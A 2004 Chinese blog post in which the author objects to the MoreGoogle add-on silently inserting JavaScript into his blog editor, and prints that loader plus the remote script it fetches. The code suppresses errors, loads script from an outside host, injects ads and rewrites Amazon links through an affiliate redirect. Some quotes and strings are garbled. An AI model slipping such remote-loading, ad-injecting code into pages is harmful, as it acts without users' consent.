前几天听人吹嘘 moregoogle(说是多了个网页缩略图效果),于是上去稀里糊涂装了一个。却在这个blog的html编辑器中自动添加

这样的js代码。没有看清楚到底都做了些什么,写入那么多iframe,加广告,总不是件光彩的事情吧,但是这样 [color=Red]不请自来[/color] 是我坚决反对的!因此坚决删除之!

——————————————————–

function loadScript(inScriptSrc,inLanguage)

{

theNewScript=document.createElement(”SCRIPT”);

theNewScript.src=inScriptSrc;

if(inLanguage) theNewScript.language=inLanguage;

document.body.appendChild(theNewScript);

}

moreGoogleOriginalErrorHandler=window.onerror;

window.onerror=function() {}

try {

var theGoogleRegex = /^http://www.google(.[a-z]{2,3})?.[a-z]{2,3}//;

//虽然这里判断是否在google域才执行下一步,但是干嘛要在我的html编辑器自动添加呢?

if(theGoogleRegex.test(document.location)) {

loadScript(”http://scripts.moregoogle.com/google.js”);

}

}

catch(inException)

{

}

window.onerror = moreGoogleOriginalErrorHandler;

——————————————————–

然后引用这个js

http://scripts.moregoogle.com/google.js

——————————————————–

//

// Hi there, you shameless snooper!

// Remember: Curiosity killed the cat :)
//

// This is where the magic happens.

// Part of MoreGoogle http://www.moregoogle.com

// and it’s all mine mine mine :)
//

// (C) 2004 Andreas Pizsa (andreas at moregoogle com)

//

function insertCopyright()

{

document.body.insertAdjacentHTML(

“beforeEnd”,

Powered by MoreGoogle (beta)

);

// document.body.insertAdjacentHTML(

// “beforeEnd”,

// “

// );

}

function insertTopTextAd()

{

var theNodes = document.body.childNodes;

var theNode = theNodes[0];

while(theNode!=null && (theNode.tagName != “TABLE” || theNode.bgColor!=”#e5ecf9″)) {

theNode = theNode.nextSibling;

}

if(theNode != null) theNode.insertAdjacentHTML(

“afterEnd”,

);

}

function insertTopRightAd()

{

var theImage = document.images[0]; // the Google logo

var theObject = theImage;

while(theObject != null && theObject.tagName != “TABLE”) {

theObject = theObject.parentNode;

}

if(theObject == null) return;

var theNewCell = theObject.rows[0].insertCell();

theNewCell.width = “100%”;

theNewCell.align=”right”;

theNewCell.valign=”middle”;

theNewCell.insertAdjacentHTML(

“beforeEnd”,

);

}

// ———— Amazon Stuff ———

function AmazonParser(inAssociateId,inDevToken)

{

this.associateId = inAssociateId;

this.devToken = inDevToken;

if(false) {

this.getAsinFromUrlRegex = /^http://www.amazon.com/exec/obidos/(?:(?:tg/detail/-)|(?:ASIN))/([A-Za-z0-9]+)/;

this.isProductLinkRegex = /^http://www.amazon.com/exec/obidos/(?:(?:tg/detail/-)|(?:ASIN))/([A-Za-z0-9]+)/i;;

}

else {

this.getAsinFromUrlRegex = /^http://www.amazon.(?:com|co.uk|de)/exec/obidos/(?:(?:tg/detail/-)|(?:ASIN))/([A-Za-z0-9]+)/;

this.isProductLinkRegex = /^http://www.amazon.(?:com|co.uk|de)/exec/obidos/(?:(?:tg/detail/-)|(?:ASIN))/([A-Za-z0-9]+)/;

}

this.amazonLocaleRegex = /^http://www.amazon.(com|co.uk|de)/i;

this.getLocaleFromUrl = function(inUrl)

{

var theResult = this.amazonLocaleRegex.exec(inUrl);

if(theResult == null || theResult.length < 2) return null;

if(theResult[1]=="com") return "us";

if(theResult[1]=="de") return "de";

if(theResult[1]=="co.jp") return "jp";

if(theResult[1]=="co.uk") return "uk";

return null;

}

this.getDefaultImageUrlForUrl = function(inUrl)

{

var theLocale = this.getLocaleFromUrl(inUrl);

if(theLocale == "us" || theLocale == null) theLocale="01";

else if(theLocale == "uk") theLocale="02";

else if(theLocale == "de") theLocale="03";

else if(theLocale == "jp") theLocale="09";

else theLocale="01";

var theImageServer = "images.amazon.com";

if(theLocale == "03" || theLocale == "02") theImageServer = "images-eu.amazon.com";

else if(theLocale == "09") {

theImageServer = "images-jp.amazon.com";

theLocale = "01";

}

return ("http://" + theImageServer + "/images/P/"

+ this.getAsinFromUrl(inUrl) + "." + theLocale + ".MZZZZZZZ.jpg")

}

this.isProductLink = function(inUrl)

{

return this.isProductLinkRegex.test(inUrl);

}

this.getAsinFromUrl = function(inUrl)

{

var theResult = this.getAsinFromUrlRegex.exec(inUrl);

return (theResult != null && theResult.length == 2) ? theResult[1] : null;

}

this.buildXmlAsinSearchRequest = function(inAsin,inOutputFormat,inLocale)

{

return ("http://xml.amazon.com/onca/xml3?"

+ "t=" + this.associateId

+ "&dev-t=" + this.devToken

+ "&AsinSearch=" + inAsin

+ "&type=heavy&f=" + (inOutputFormat == null? "xml" : inOutputFormat)

+ (inLocale != null ? "&locale=" + inLocale : "")

);

}

}

moreGoogleAmazonParser = new AmazonParser("amazonshopp01-20","D3CX3W3KZKPTD8");

function onGoogleHomepage()

{

insertCopyright();

}

// Ha! Sometimes Google links to a Google redirect page... parse that out

var theGoogleLinkRegexp=

/^(?:https?://www.google(?:.[a-z]{2,3}){1,2}/url?.*?q=([^&]*))|(.*)/;

function adjustAmazonImageSize()

{

var theMaxWidth = 112;

var theMaxHeight = 82;

var thePicture = window.event.srcElement;

thePicture.style.border = "1px solid black";

if(thePicture.width == 1 && thePicture.height == 1) {

thePicture.onload=null;

thePicture.src = "http://g-images.amazon.com/images/G/01/books/icons/books-no-image.gif";

}

var theRatio = thePicture.width / thePicture.height;

if(thePicture.width > theMaxWidth) {

thePicture.width = theMaxWidth;

thePicture.height = thePicture.width / theRatio;

}

if(thePicture.height> theMaxHeight) {

thePicture.height= theMaxHeight;

thePicture.width = thePicture.height * theRatio;

}

thePicture.parentNode.parentNode.width = thePicture.width;

}

function GeizhalsParser()

{

this.linkRegExp = /.geizhals.(?:at|de|net|cc|co.uk)/(?:eu/|deutschland/)?a([0-9]+).html/;

this.isProductLink = function (inUrl) {

return inUrl.search(this.linkRegExp) != -1;

}

this.getProductId = function(inLinkUrl) {

var theResult = inLinkUrl.match(this.linkRegExp);

if(theResult==null || theResult.length < 1) {

return "";

}

return theResult[1];

}

this.getImageUrl = function(inLinkUrl) {

return "http://www.geizhals.at/img/pix/" + this.getProductId(inLinkUrl) + ".jpg";

}

}

var moreGoogleGeizhalsParser = new GeizhalsParser();

processResultNode_Links = 0;

function processResultNode(inNode)

{

var i=0;

theLinkNode = inNode.children[0];

if(theLinkNode.tagName!="A") return;

var theLink = theGoogleLinkRegexp.exec(theLinkNode.href);

theLink = theLink[1].length>0 ? theLink[1] : theLink[2];

// Show Page Preview

var theImageFlag = true;

if(theImageFlag) {

var isGeizhalsProductLink = moreGoogleGeizhalsParser.isProductLink(theLink);

var isAmazonProductLink = moreGoogleAmazonParser.isProductLink(theLink);

if(isAmazonProductLink) {

theLinkNode.href = “http://scripts.moregoogle.com/redirect/?” + escape(theLink);

}

var theImageHref = isAmazonProductLink ?

//(”http://images.amazon.com/images/P/” + moreGoogleAmazonParser.getAsinFromUrl(theLink) + “.01.MZZZZZZZ.jpg”)

(moreGoogleAmazonParser.getDefaultImageUrlForUrl(theLink))

: (”http://pthumbnails.alexa.com/image_server.cgi?id=moregoogle&size=small&url=” + theLink);

if(isGeizhalsProductLink) {

theImageHref = moreGoogleGeizhalsParser.getImageUrl(theLink);

}

var theTable = inNode.children[1];

if(theTable.tagName==”FONT”) theTable=theTable.nextSibling;

if(theTable.tagName==”BR” && theTable.nextSibling.tagName==”FONT”) {

var theFontElement = theTable.nextSibling;

theRemovedObject = theFontElement.removeNode(true);

theTable = document.createElement(”TABLE”);

var theRow = theTable.insertRow(0);

var theColumn = theRow.insertCell(0);

theColumn.insertBefore(theRemovedObject);

inNode.appendChild(theTable);

}

if(theTable.tagName==”TABLE”) {

//

theTable.cellPadding = 4;

var theRow = theTable.rows(0);

theRow.vAlign = “top”;

var theNewCell = theRow.insertCell(0);

theNewCell.width = 112;

theNewCell.height= 82;

theNewCell.insertAdjacentHTML(

“afterBegin”,

);

}

if(moreGoogleAmazonParser.isProductLink(theLink)) {

var theFrame = document.createElement(”IFRAME”);

theFrame.width = 550;

theFrame.height= 28;

theFrame.frameBorder = 0;

theFrame.border = 0;

theFrame.margin = 0;

theFrame.scrolling = “no”;

theFrame.src = moreGoogleAmazonParser.buildXmlAsinSearchRequest(

moreGoogleAmazonParser.getAsinFromUrl(theLink),

“http://scripts.moregoogle.com/amazon-google.xsl”,

moreGoogleAmazonParser.getLocaleFromUrl(theLink)

);

theTable.cells[1].insertBefore(document.createElement(”BR”),theTable.cells[1].firstChild);

theTable.cells[1].insertBefore(theFrame,theTable.cells[1].firstChild);

}

}

// “Open in new Window”

theLinkNode.insertAdjacentHTML(

“afterEnd”,

‘ Open this page in a new window

);

// More features

theLastAppendix = null;

for(i=0;i

if(inNode.all[i].tagName=="A" && inNode.all[i].className=="fl") theLastAppendix=inNode.all[i];

}

if(theLastAppendix) {

theLastAppendix.insertAdjacentHTML(

"afterEnd",

' - Site info

+’ - Archived

+’ - More Related

);

}

}

function onGoogleSearchResult()

{

var x = Math.floor(Math.random() * 6);

switch(x) {

case 1: insertTopRightAd();

break;

case 3: insertTopTextAd();

break;

}

var theResultNodes = new Array();

var i;

for(i=0;i

if(document.body.all[i].tagName == “P” &&

document.body.all[i].className==”g”)

{

theResultNodes[theResultNodes.length]=document.body.all[i];

}

}

for(i=0;i

insertCopyright();

}

function onGooglePreferences()

{

}

if(location.pathname==”/” || location.pathname==”/webhp”) {

onGoogleHomepage();

}

else if(location.pathname==”/search” || location.pathname==”/custom”) {

onGoogleSearchResult();

}

else if(location.pathname==”/preferences”) {

onGooglePreferences();

}

———————————————————————

[align=right][size=1][color=#cccccc][Edit on 2004-9-8 14:47:14 By guoshuang][/color][/size][/align][align=right][size=1][color=#cccccc][Edit on 2004-9-8 14:56:26 By guoshuang][/color][/size][/align][align=right][size=1][color=#cccccc][Edit on 2004-9-8 14:59:27 By guoshuang][/color][/size][/align]